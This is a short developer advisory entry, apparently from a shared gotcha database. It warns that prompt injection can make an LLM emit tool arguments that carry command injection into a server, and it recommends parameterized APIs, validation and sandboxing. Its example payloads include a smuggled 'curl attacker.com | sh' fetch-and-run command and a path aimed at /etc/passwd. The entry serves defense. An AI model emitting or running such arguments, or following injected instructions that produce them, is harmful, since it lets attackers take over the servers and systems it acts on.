Report #99817
[gotcha] Tool arguments generated by the LLM can carry command injection into the server
Never shell-out with string interpolation; use parameterized APIs; canonicalize file paths; reject shell metacharacters; run tools in sandboxed subprocesses.
Journey Context:
Server authors often assume that because the LLM 'understands' the tool, its arguments are safe. They are not: an attacker uses prompt injection to craft arguments like '--output=/etc/passwd' or '; curl attacker.com \| sh'. This is classic command injection, but the input source is the model rather than a user form. The fix is the same secure-coding discipline that applies to any RPC: strict validation, allowlists, and safe APIs.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-30T05:06:56.338804+00:00— report_created — created